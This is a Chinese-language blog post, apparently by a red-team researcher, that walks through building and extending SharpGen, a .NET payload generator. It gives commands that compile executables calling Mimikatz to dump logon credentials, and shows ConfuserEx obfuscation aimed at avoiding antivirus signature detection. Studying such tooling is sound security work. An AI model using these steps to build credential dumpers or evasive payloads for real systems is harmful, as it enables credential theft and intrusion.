SharpGen利用分析
0x00 前言
SharpGen是我认为特别棒的一个工具,它能够用来对其他.Net程序集进行整合、重组并加密,二次编译后可生成一个全新的工具
本文将要研究SharpGen的细节,介绍调用其他开源库的详细方法,分析利用思路
参考链接:
https://github.com/cobbr/SharpGen
https://cobbr.io/SharpGen.html
0x01 简介
本文将要介绍以下内容:
- .NET Core开发环境搭建
- 功能介绍
- 调用其他开源库的方法
- 利用思路
0x02 .NET Core开发环境搭建
SharpGen使用.NET Core,优点是支持多平台(Linux,MacOS和Windows)
编程语言使用C#,利用Rosyln编译.NET Framework控制台应用程序或库
注:
Rosyln是一个.NET编译器平台,通过Scripting API,能够对脚本文件进行动态编译
测试系统:Win7x64
我在测试系统选择安装.NET Core 2.2.0、ASP.NET Core 2.2.0和SDK 2.2.101,这是为了兼容另一个工具Covenant
对应版本的下载链接如下:
https://dotnet.microsoft.com/download/thank-you/dotnet-sdk-2.2.101-windows-x64-installer
https://dotnet.microsoft.com/download/thank-you/dotnet-runtime-2.2.0-windows-x64-installer
https://dotnet.microsoft.com/download/thank-you/dotnet-runtime-2.2.0-windows-x64-asp.net-core-runtime-installer
安装Git for Windows,下载链接如下:
https://github.com/git-for-windows/git/releases/download/v2.23.0.windows.1/Git-2.23.0-64-bit.exe
下载安装并编译SharpGen:
git clone https://github.com/cobbr/SharpGen
cd SharpGen
dotnet build --configuration Release
0x03 基本功能介绍
SharpGen默认集成了SharpSploit,能够直接调用其中的功能
参数说明:
Options:
-? | -h | --help Show help information
-f | --file <OUTPUT_FILE> The output file to write to.
-d | --dotnet | --dotnet-framework <DOTNET_VERSION> The Dotnet Framework version to target (net35 or net40).
-o | --output-kind <OUTPUT_KIND> The OutputKind to use (console or dll).
-p | --platform <PLATFORM> The Platform to use (AnyCpy, x86, or x64).
-n | --no-optimization Don't use source code optimization.
-a | --assembly-name <ASSEMBLY_NAME> The name of the assembly to be generated.
-s | --source-file <SOURCE_FILE> The source code to compile.
-c | --class-name <CLASS_NAME> The name of the class to be generated.
--confuse <CONFUSEREX_PROJECT_FILE> The ConfuserEx ProjectFile configuration.
1.对单行代码进行编译
命令如下:
dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe "Console.WriteLine(Mimikatz.LogonPasswords());"
执行过程显示自动补齐的编译代码,如下图
值得注意的是其中的随机类名ohq8r7eQ1qK
,每次生成文件时使用的类名均会改变
注:
如果想指定类名,可以加入-c参数,示例如下:
dotnet bin/Release/netcoreapp2.1/SharpGen.dll -c abcde12345 -f example.exe "Console.WriteLine(Mimikatz.LogonPasswords());"
命令执行后生成example.exe,example.exe会调用Mimikatz的sekurlsa::logonpasswords
命令
2.对完整代码文件进行编译
example.txt的内容如下:
using System;
using SharpSploit.Execution;
using SharpSploit.Credentials;
class Program
{
static void Main()
{
Console.WriteLine(Mimikatz.LogonPasswords());
return;
}
}
命令如下:
dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe --source-file example.txt
执行过程显示编译代码,如下图
由于指定了类名为Program
,所以不再具有随机类名的功能
注:
SharpGen使用了Rosyln进行动态编译,每次生成的文件hash都会不一样
0x04 高级功能
1.缩小生成文件的体积
(1)取消对指定dll的引用
编辑文件SharpGen/References/references.yml
此处的dll通常为C#程序使用的引用文件
不需要的dll名称属性由Enabled: true
改为Enabled: false
(2)取消对指定dll的引用
编辑文件SharpGen/Resources/resources.yml
此处的dll为实现mimikatz的功能
不需要的dll名称属性由Enabled: true
改为Enabled: false
注:
- powerkatz_x64.dll为64位的mimikatz
- powerkatz_x64.dll.comp为使用System.IO.Compression库压缩后的64位的mimikatz
- powerkatz_x86.dll为32位的mimikatz
- powerkatz_x86.dll.comp为使用System.IO.Compression库压缩后的32位的mimikatz
(3)使用ConfuserEx资源保护
ConfuserEx资源保护会对资源进行加密和LZMA压缩
示例命令如下:
dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe --confuse confuse.cr "Console.WriteLine(Mimikatz.LogonPasswords());"
2.调用其他开源库
参考资料中未介绍这部分内容,这里给出我的解决方法
这里给出两个示例,一个是开源的SharpWMI,另一个是我自己编写的模板SharpTest
1.添加对SharpWMI的调用
(1)将SharpWMI源码复制到SharpGen/Source
(2)修改SharpGen/SharpGen.csproj
ItemGroup标签中添加<Compile Remove="Source\SharpWMI\Program.cs" />
否则在编译SharpGen时会报错提示:
Source\SharpWMI\Program.cs(3,14): error CS0234: The type or namespace name 'Management' does not exist in the namespace 'System' (are you missing an assembly reference?)
(3)修改SharpWMI的源代码
只保留Program.cs,删除其中的Main函数并且将Program.cs中的每个静态方法改为公共方法
例如:
static void LocalWMIQuery(string wmiQuery, string wmiNameSpace = "")
需要修改为public static void LocalWMIQuery(string wmiQuery, string wmiNameSpace = "")
(4)重新编译SharpGen
命令如下:
dotnet build --configuration Release
(5)调用测试
example.txt的功能为调用SharpWMI中的LocalWMIQuery
方法查询win32_ComputerSystem
,内容如下:
SharpWMI.Program.LocalWMIQuery("select * from win32_ComputerSystem");
Console.WriteLine(Host.GetProcessList());
SharpGen的命令如下:
dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe --source-file example.txt
生成example.ex并执行,调用成功,如下图
2.添加自己编写的C#模板
命名为SharpTest,功能为接收参数并在命令行输出
(1)新建文件夹SharpTest,其中新建文件Program.cs,内容如下:
using System;
using System.Collections.Generic;
using System.Management;
namespace SharpTest
{
class Program
{
public static void TestMethod(string string1)
{
Console.WriteLine(string1);
}
}
}
(2)修改SharpGen/SharpGen.csproj
ItemGroup标签中添加<Compile Remove="Source\SharpTest\Program.cs" />
(3)重新编译SharpGen
命令如下:
dotnet build --configuration Release
(4)调用测试
example.txt的功能为调用SharpTest中的TestMethod方法,参数为123456
,内容如下:
SharpTest.Program.TestMethod("123456");
SharpGen的命令如下:
dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe --source-file example.txt
生成example.exe并执行,调用成功,如下图
为了便于测试,我已经fork了cobbr的SharpGen,添加了对SharpWMI和SharpTest的调用,地址如下:
https://github.com/3gstudent/SharpGen
3.资源保护
使用新版的ConfuserEx能够对编译后的文件资源进行保护,地址如下:
https://github.com/mkaring/ConfuserEx
旧版的ConfuserEx不再进行维护,地址如下:
https://github.com/yck1509/ConfuserEx
调用命令示例:
dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe --confuse confuse.cr "Console.WriteLine(Mimikatz.LogonPasswords());"
对应使用的配置文件为SharpGen/confuse.cr
默认配置为对资源执行加密和LZMA压缩
ConfuserEx还支持其他保护功能:
- Anti Debug Protection
- Anti Dump Protection
- Anti IL Dasm Protection
- Anti Tamper Protection
- Constants Protection
- Control Flow Protection
- Invalid Metadata Protection
- Name Protection
- Reference Proxy Protection
- Resources Protection
只需要去掉SharpGen/confuse.cr
中对应的注释即可
例如添加anti debug
功能,配置文件confuse.cr的内容如下:
<project baseDir="{0}" outputDir="{1}" xmlns="http://confuser.codeplex.com">
<module path="{2}">
<rule pattern="true" inherit="false">
<!-- <protection id="anti debug" /> -->
<!-- <protection id="anti dump" /> -->
<!-- <protection id="anti ildasm" /> -->
<!-- <protection id="anti tamper" /> -->
<!-- <protection id="constants" /> -->
<!-- <protection id="ctrl flow" /> -->
<!-- <protection id="invalid metadata" /> -->
<!-- <protection id="ref proxy" /> -->
<!-- <protection id="rename" /> -->
<protection id="resources" />
<protection id="anti debug" />
</rule>
</module>
</project>
4.补充:禁用优化
SharpGen在编译期间会对源代码进行优化,可通过--no-optimization
参数来禁用优化,这将导致增加生成文件的大小
0x05 利用分析
SharpGen可以作为.Net程序集重新包装的平台,具有如下优点:
- 使用.NET Core平台和Roslyn进行动态编译,开发代码时可选择多平台(Linux,MacOS和Windows)
- 可调用其他开源库,实现功能的定制,最后将其封装成单独的一个exe文件或dll文件
- 使用ConfuserEx对资源进行加密和压缩,避免对特征码的检测
- 生成的文件支持.Net3.5和.Net 4.0
- 生成的文件支持x86和x64
更进一步,使用SharpGen能够快速的将.Net程序集形式的POC转换成EXP
0x06 小结
本文介绍了SharpGen的功能,分享了我实现调用其他开源库的方法,分析SharpGen的优点。